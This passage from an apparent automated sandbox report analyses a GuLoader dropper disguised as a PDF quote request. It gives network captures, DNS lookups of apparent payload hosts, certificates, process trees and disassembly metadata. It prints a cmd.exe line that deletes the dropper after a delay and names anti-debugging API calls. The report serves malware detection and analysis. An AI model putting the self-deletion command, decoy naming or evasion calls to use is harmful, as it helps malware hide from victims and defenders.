Apr 12, 2021 13:46:45.552465916 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.552506924 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.552539110 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.552548885 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:45.552580118 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.552620888 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.552647114 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:45.552658081 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.552695990 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.552717924 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:45.552735090 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.552772999 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.552819014 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:45.552819967 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.552862883 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.552896023 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:45.552901030 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.552983999 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:45.569135904 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.569190025 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.569364071 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:45.621710062 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.621776104 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.621819019 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.621855021 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.621893883 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.621933937 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.621970892 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.622000933 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:45.622009993 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.622039080 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:45.622050047 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.622097015 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.622109890 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:45.622139931 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.622168064 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:45.622176886 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.622215986 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.622251034 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:45.622252941 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.622289896 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.622319937 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:45.622328043 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.622365952 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.622412920 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.622438908 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:45.622507095 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:45.637096882 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.637152910 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.637190104 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.637228966 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.637356043 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:45.691477060 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.691538095 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.691569090 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.691606045 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.691653967 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.691695929 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.691734076 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.691771984 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.691800117 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:45.691814899 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.691854000 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.691893101 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.691924095 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:45.691931963 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.691986084 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:45.692043066 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:45.704660892 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.704715014 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.704751968 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.704799891 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.704864025 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:45.704957008 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:45.759357929 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.759418011 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.759458065 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.759495020 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.759517908 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:45.759536028 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.759637117 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:45.759730101 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:45.772475004 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.772531033 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.772620916 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:45.772667885 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:45.772943974 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.772994995 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.773022890 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:45.773036957 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.773063898 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:45.773076057 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.773130894 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:45.827003002 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.827052116 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.827090025 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.827126026 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.827172995 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.827301979 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:45.841613054 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.841667891 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.841710091 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.841747999 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.841766119 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:45.841841936 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.841881037 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.841902018 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:45.841955900 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:45.897414923 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.897490978 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.897542953 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.897581100 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.897722006 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:45.897804976 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:45.909179926 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.909241915 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.909280062 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.909327030 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.909359932 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.909409046 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:45.909584045 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:46.930540085 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:46.930592060 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:47.000380039 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:47.000423908 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:47.913422108 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:47.961283922 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:50.206787109 CEST	49760	443	192.168.2.4	216.58.215.225
Apr 12, 2021 13:46:50.207000017 CEST	49761	443	192.168.2.4	195.201.225.248
Apr 12, 2021 13:46:50.207119942 CEST	49762	443	192.168.2.4	195.123.215.115

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 12, 2021 13:44:51.982223988 CEST	49257	53	192.168.2.4	8.8.8.8
Apr 12, 2021 13:44:52.032768965 CEST	53	49257	8.8.8.8	192.168.2.4
Apr 12, 2021 13:44:52.357666016 CEST	62389	53	192.168.2.4	8.8.8.8
Apr 12, 2021 13:44:52.423392057 CEST	53	62389	8.8.8.8	192.168.2.4
Apr 12, 2021 13:44:53.077202082 CEST	49910	53	192.168.2.4	8.8.8.8
Apr 12, 2021 13:44:53.128851891 CEST	53	49910	8.8.8.8	192.168.2.4
Apr 12, 2021 13:44:53.958153963 CEST	55854	53	192.168.2.4	8.8.8.8
Apr 12, 2021 13:44:54.019855976 CEST	53	55854	8.8.8.8	192.168.2.4
Apr 12, 2021 13:45:07.646945000 CEST	64549	53	192.168.2.4	8.8.8.8
Apr 12, 2021 13:45:07.695929050 CEST	53	64549	8.8.8.8	192.168.2.4
Apr 12, 2021 13:45:09.371076107 CEST	63153	53	192.168.2.4	8.8.8.8
Apr 12, 2021 13:45:09.425558090 CEST	53	63153	8.8.8.8	192.168.2.4
Apr 12, 2021 13:45:19.818453074 CEST	52991	53	192.168.2.4	8.8.8.8
Apr 12, 2021 13:45:19.870038986 CEST	53	52991	8.8.8.8	192.168.2.4
Apr 12, 2021 13:45:20.649601936 CEST	53700	53	192.168.2.4	8.8.8.8
Apr 12, 2021 13:45:20.700190067 CEST	53	53700	8.8.8.8	192.168.2.4
Apr 12, 2021 13:45:24.515872002 CEST	51726	53	192.168.2.4	8.8.8.8
Apr 12, 2021 13:45:24.567379951 CEST	53	51726	8.8.8.8	192.168.2.4
Apr 12, 2021 13:45:25.574709892 CEST	56794	53	192.168.2.4	8.8.8.8
Apr 12, 2021 13:45:25.623337030 CEST	53	56794	8.8.8.8	192.168.2.4
Apr 12, 2021 13:45:26.458292961 CEST	56534	53	192.168.2.4	8.8.8.8
Apr 12, 2021 13:45:26.506928921 CEST	53	56534	8.8.8.8	192.168.2.4
Apr 12, 2021 13:45:26.912539005 CEST	56627	53	192.168.2.4	8.8.8.8
Apr 12, 2021 13:45:26.969578028 CEST	53	56627	8.8.8.8	192.168.2.4
Apr 12, 2021 13:45:27.303339958 CEST	56621	53	192.168.2.4	8.8.8.8
Apr 12, 2021 13:45:27.352294922 CEST	53	56621	8.8.8.8	192.168.2.4
Apr 12, 2021 13:45:35.621349096 CEST	63116	53	192.168.2.4	8.8.8.8
Apr 12, 2021 13:45:35.670145988 CEST	53	63116	8.8.8.8	192.168.2.4
Apr 12, 2021 13:45:36.642209053 CEST	63116	53	192.168.2.4	8.8.8.8
Apr 12, 2021 13:45:36.691006899 CEST	53	63116	8.8.8.8	192.168.2.4
Apr 12, 2021 13:45:37.645951033 CEST	63116	53	192.168.2.4	8.8.8.8
Apr 12, 2021 13:45:37.709942102 CEST	53	63116	8.8.8.8	192.168.2.4
Apr 12, 2021 13:45:43.910093069 CEST	64078	53	192.168.2.4	8.8.8.8
Apr 12, 2021 13:45:43.959032059 CEST	53	64078	8.8.8.8	192.168.2.4
Apr 12, 2021 13:45:51.195035934 CEST	64801	53	192.168.2.4	8.8.8.8
Apr 12, 2021 13:45:51.245913982 CEST	53	64801	8.8.8.8	192.168.2.4
Apr 12, 2021 13:45:52.419703960 CEST	61721	53	192.168.2.4	8.8.8.8
Apr 12, 2021 13:45:52.481066942 CEST	53	61721	8.8.8.8	192.168.2.4
Apr 12, 2021 13:45:56.100053072 CEST	51255	53	192.168.2.4	8.8.8.8
Apr 12, 2021 13:45:56.152636051 CEST	53	51255	8.8.8.8	192.168.2.4
Apr 12, 2021 13:45:56.998831987 CEST	61522	53	192.168.2.4	8.8.8.8
Apr 12, 2021 13:45:57.051172018 CEST	53	61522	8.8.8.8	192.168.2.4
Apr 12, 2021 13:46:00.067297935 CEST	52337	53	192.168.2.4	8.8.8.8
Apr 12, 2021 13:46:00.125669956 CEST	53	52337	8.8.8.8	192.168.2.4
Apr 12, 2021 13:46:23.559746027 CEST	55046	53	192.168.2.4	8.8.8.8
Apr 12, 2021 13:46:23.608792067 CEST	53	55046	8.8.8.8	192.168.2.4
Apr 12, 2021 13:46:27.923116922 CEST	49612	53	192.168.2.4	8.8.8.8
Apr 12, 2021 13:46:27.997172117 CEST	53	49612	8.8.8.8	192.168.2.4
Apr 12, 2021 13:46:30.554230928 CEST	49285	53	192.168.2.4	8.8.8.8
Apr 12, 2021 13:46:30.605772972 CEST	53	49285	8.8.8.8	192.168.2.4
Apr 12, 2021 13:46:31.610992908 CEST	50601	53	192.168.2.4	8.8.8.8
Apr 12, 2021 13:46:31.671179056 CEST	53	50601	8.8.8.8	192.168.2.4
Apr 12, 2021 13:46:33.173959017 CEST	60875	53	192.168.2.4	8.8.8.8
Apr 12, 2021 13:46:33.225608110 CEST	53	60875	8.8.8.8	192.168.2.4
Apr 12, 2021 13:46:34.082685947 CEST	56448	53	192.168.2.4	8.8.8.8
Apr 12, 2021 13:46:34.147787094 CEST	53	56448	8.8.8.8	192.168.2.4
Apr 12, 2021 13:46:35.282506943 CEST	59172	53	192.168.2.4	8.8.8.8
Apr 12, 2021 13:46:35.352575064 CEST	53	59172	8.8.8.8	192.168.2.4
Apr 12, 2021 13:46:36.147361040 CEST	62420	53	192.168.2.4	8.8.8.8
Apr 12, 2021 13:46:36.209517956 CEST	53	62420	8.8.8.8	192.168.2.4
Apr 12, 2021 13:46:36.581806898 CEST	60579	53	192.168.2.4	8.8.8.8
Apr 12, 2021 13:46:36.639439106 CEST	53	60579	8.8.8.8	192.168.2.4
Apr 12, 2021 13:47:00.111402988 CEST	50183	53	192.168.2.4	8.8.8.8
Apr 12, 2021 13:47:00.165400982 CEST	53	50183	8.8.8.8	192.168.2.4
Apr 12, 2021 13:47:01.812514067 CEST	61531	53	192.168.2.4	8.8.8.8
Apr 12, 2021 13:47:01.879749060 CEST	53	61531	8.8.8.8	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Apr 12, 2021 13:46:35.282506943 CEST	192.168.2.4	8.8.8.8	0x5b60	Standard query (0)	doc-00-7g-docs.googleusercontent.com	A (IP address)	IN (0x0001)
Apr 12, 2021 13:46:36.147361040 CEST	192.168.2.4	8.8.8.8	0xf2da	Standard query (0)	telete.in	A (IP address)	IN (0x0001)
Apr 12, 2021 13:46:36.581806898 CEST	192.168.2.4	8.8.8.8	0xec47	Standard query (0)	belochkaneprihoditodna.top	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Apr 12, 2021 13:46:35.352575064 CEST	8.8.8.8	192.168.2.4	0x5b60	No error (0)	doc-00-7g-docs.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)
Apr 12, 2021 13:46:35.352575064 CEST	8.8.8.8	192.168.2.4	0x5b60	No error (0)	googlehosted.l.googleusercontent.com		216.58.215.225	A (IP address)	IN (0x0001)
Apr 12, 2021 13:46:36.209517956 CEST	8.8.8.8	192.168.2.4	0xf2da	No error (0)	telete.in		195.201.225.248	A (IP address)	IN (0x0001)
Apr 12, 2021 13:46:36.639439106 CEST	8.8.8.8	192.168.2.4	0xec47	No error (0)	belochkaneprihoditodna.top		195.123.215.115	A (IP address)	IN (0x0001)

HTTPS Packets

Timestamp	Source IP	Source Port	Dest IP	Dest Port	Subject	Issuer	Not Before	Not After	JA3 SSL Client Fingerprint	JA3 SSL Client Digest
Apr 12, 2021 13:46:35.463246107 CEST	216.58.215.225	443	192.168.2.4	49760	CN=*.googleusercontent.com, O=Google LLC, L=Mountain View, ST=California, C=US CN=GTS CA 1O1, O=Google Trust Services, C=US	CN=GTS CA 1O1, O=Google Trust Services, C=US CN=GlobalSign, O=GlobalSign, OU=GlobalSign Root CA - R2	Tue Mar 16 20:32:57 CET 2021 Thu Jun 15 02:00:42 CEST 2017	Tue Jun 08 21:32:56 CEST 2021 Wed Dec 15 01:00:42 CET 2021	771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-10-11-13-35-23-65281,29-23-24,0	37f463bf4616ecd445d4a1937da06e19
Apr 12, 2021 13:46:35.463246107 CEST	216.58.215.225	443	192.168.2.4	49760	CN=GTS CA 1O1, O=Google Trust Services, C=US	CN=GlobalSign, O=GlobalSign, OU=GlobalSign Root CA - R2	Thu Jun 15 02:00:42 CEST 2017	Wed Dec 15 01:00:42 CET 2021		37f463bf4616ecd445d4a1937da06e19
Apr 12, 2021 13:46:36.356210947 CEST	195.201.225.248	443	192.168.2.4	49761	CN=telecut.in CN=R3, O=Let's Encrypt, C=US	CN=R3, O=Let's Encrypt, C=US CN=DST Root CA X3, O=Digital Signature Trust Co.	Wed Feb 17 11:17:19 CET 2021 Wed Oct 07 21:21:40 CEST 2020	Tue May 18 12:17:19 CEST 2021 Wed Sep 29 21:21:40 CEST 2021	771,49196-49195-49200-49199-159-158-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-5-10-11-13-35-23-65281,29-23-24,0	ce5f3254611a8c095a3d821d44539877
Apr 12, 2021 13:46:36.356210947 CEST	195.201.225.248	443	192.168.2.4	49761	CN=R3, O=Let's Encrypt, C=US	CN=DST Root CA X3, O=Digital Signature Trust Co.	Wed Oct 07 21:21:40 CEST 2020	Wed Sep 29 21:21:40 CEST 2021		ce5f3254611a8c095a3d821d44539877
Apr 12, 2021 13:46:36.787753105 CEST	195.123.215.115	443	192.168.2.4	49762	CN=belochkaneprihoditodna.top CN=R3, O=Let's Encrypt, C=US	CN=R3, O=Let's Encrypt, C=US CN=DST Root CA X3, O=Digital Signature Trust Co.	Sat Apr 10 18:07:01 CEST 2021 Wed Oct 07 21:21:40 CEST 2020	Fri Jul 09 18:07:01 CEST 2021 Wed Sep 29 21:21:40 CEST 2021	771,49196-49195-49200-49199-159-158-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-5-10-11-13-35-23-65281,29-23-24,0	ce5f3254611a8c095a3d821d44539877
Apr 12, 2021 13:46:36.787753105 CEST	195.123.215.115	443	192.168.2.4	49762	CN=R3, O=Let's Encrypt, C=US	CN=DST Root CA X3, O=Digital Signature Trust Co.	Wed Oct 07 21:21:40 CEST 2020	Wed Sep 29 21:21:40 CEST 2021		ce5f3254611a8c095a3d821d44539877

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: Anmodning om tilbud 12-04-2021#U00b7pdf.exe PID: 6976 Parent PID: 6036

General

Start time:	13:44:54
Start date:	12/04/2021
Path:	C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe'
Imagebase:	0x400000
File size:	86016 bytes
MD5 hash:	FF684BF547B6F692C53F80779DC5EE7B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Visual Basic
Reputation:	low

Chronological Activities

Analysis Process: Anmodning om tilbud 12-04-2021#U00b7pdf.exe PID: 4552 Parent PID: 6976

General

Start time:	13:46:01
Start date:	12/04/2021
Path:	C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe'
Imagebase:	0x400000
File size:	86016 bytes
MD5 hash:	FF684BF547B6F692C53F80779DC5EE7B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader, Description: Yara detected GuLoader, Source: 0000000C.00000002.877495152.0000000000561000.00000040.00000001.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: cmd.exe PID: 6828 Parent PID: 4552

General

Start time:	13:46:47
Start date:	12/04/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q 'C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe'
Imagebase:	0x11d0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: conhost.exe PID: 6500 Parent PID: 6828

General

Start time:	13:46:48
Start date:	12/04/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff724c50000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: timeout.exe PID: 7096 Parent PID: 6828

General

Start time:	13:46:48
Start date:	12/04/2021
Path:	C:\Windows\SysWOW64\timeout.exe
Wow64 process (32bit):	true
Commandline:	timeout /T 10 /NOBREAK
Imagebase:	0x8a0000
File size:	26112 bytes
MD5 hash:	121A4EDAE60A7AF6F5DFA82F7BB95659
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: Anmodning om tilbud 12-04-2021#U00b7pdf.exe PID: 6976 Parent PID: 6036 Anmodning om tilbud 12-04-2021#U00b7pdf.exeCOMMON

Executed Functions

Function 00404081, Relevance: 16.2, APIs: 1, Strings: 9, Instructions: 1201memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,0000A000,FFFF9E46,FFFFFC61), ref: 00405239

Strings

====, xrefs: 004040A1
====, xrefs: 004040A6
====, xrefs: 00404088
====, xrefs: 00404097
====, xrefs: 00404092
====, xrefs: 0040408D
====, xrefs: 004040B0
====, xrefs: 0040409C
====, xrefs: 004040AB

Memory Dump Source

Source File: 00000000.00000002.782891180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.782883111.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.782929771.0000000000413000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.782935706.0000000000414000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocVirtual
String ID: ====$====$====$====$====$====$====$====$====
API String ID: 4275171209-3473172304
Opcode ID: 7ae1055d27bcc08aed065235afa0db00c3a17e89ba998bdf04e989a0edd76216
Instruction ID: a743500b5fd872cef47e52127a4617c4e31ae82b2b36aa6bbfb0857cf527d0ee
Opcode Fuzzy Hash: 7ae1055d27bcc08aed065235afa0db00c3a17e89ba998bdf04e989a0edd76216
Instruction Fuzzy Hash: FC52FF62B1A7000BC75A94BE5890956D0C3CFEF260239E63A652DF37A5FE7ECD4B1148

Uniqueness

Uniqueness Score: -1.00%

Function 022A300B, Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 108nativethreadCOMMON

Download Yara Rule

APIs

NtSetInformationThread.NTDLL(000000FE,00000011,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 022A0536

Part of subcall function 022A3F21: LoadLibraryA.KERNELBASE(?,8802EDAC,?,022A468D,022A0381,2D9CC76C,DFCB8F12,27AA3188,F21FD920,3E17ADE6,7F21185B,A7C53F01,B314751D,00000000,00000000), ref: 022A4019

Strings

rX4, xrefs: 022A3036
TEMP=, xrefs: 022A3217
1.!T, xrefs: 022A051A

Memory Dump Source

Source File: 00000000.00000002.783116967.00000000022A0000.00000040.00000001.sdmp, Offset: 022A0000, based on PE: false

Similarity

API ID: InformationLibraryLoadThread
String ID: 1.!T$TEMP=$rX4
API String ID: 543350213-103342501
Opcode ID: dbfdc65c57aace0406537f6d4ae380f8e834b9051599f361677481b8b1301ee9
Instruction ID: 1b9dbe796b1d74bcec7f136bdb0b1542ada420732dcf1e8e0d1d7f7e3ad5e744
Opcode Fuzzy Hash: dbfdc65c57aace0406537f6d4ae380f8e834b9051599f361677481b8b1301ee9
Instruction Fuzzy Hash: 06313170710308ABEF14AEE08DE17DD3BA3AB45750F608269FD155BAC8D6B4D888C755

Uniqueness

Uniqueness Score: -1.00%

Function 022A1F10, Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 370COMMON

Download Yara Rule

Strings

1.!T, xrefs: 022A051A

Memory Dump Source

Source File: 00000000.00000002.783116967.00000000022A0000.00000040.00000001.sdmp, Offset: 022A0000, based on PE: false

Similarity

API ID: LibraryLoad
String ID: 1.!T
API String ID: 1029625771-3147410236
Opcode ID: 2fe3fd85327c819ce48edcaeeb149a4bfce7958b606a0bb95e9482e702002b98
Instruction ID: 6d0f30f31e264363a0fe49cb409c3753942123184922f550a776b8bb5b2466a2
Opcode Fuzzy Hash: 2fe3fd85327c819ce48edcaeeb149a4bfce7958b606a0bb95e9482e702002b98
Instruction Fuzzy Hash: 39C104B074030AAFFF206EA4CCA5BDA3666FF45754FA44228FE446B5C4D7B99884CB44

Uniqueness

Uniqueness Score: -1.00%

Function 022A03F5, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 106nativethreadCOMMON

Download Yara Rule

APIs

EnumWindows.USER32(022A04B6,?,00000000,?,?,?,?,?,?,?,022A0305), ref: 022A049B
NtSetInformationThread.NTDLL(000000FE,00000011,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 022A0536

Strings

1.!T, xrefs: 022A051A

Memory Dump Source

Source File: 00000000.00000002.783116967.00000000022A0000.00000040.00000001.sdmp, Offset: 022A0000, based on PE: false

Similarity

API ID: EnumInformationThreadWindows
String ID: 1.!T
API String ID: 1954852945-3147410236
Opcode ID: 2609937345d3d53a66f2a9546c7887dd5e37585b9110451b50aa4fb93c1ccc6d
Instruction ID: d74b4fc4a7147232712529a0e3330119aab92cc78759e6d26a5473b68c775a3d
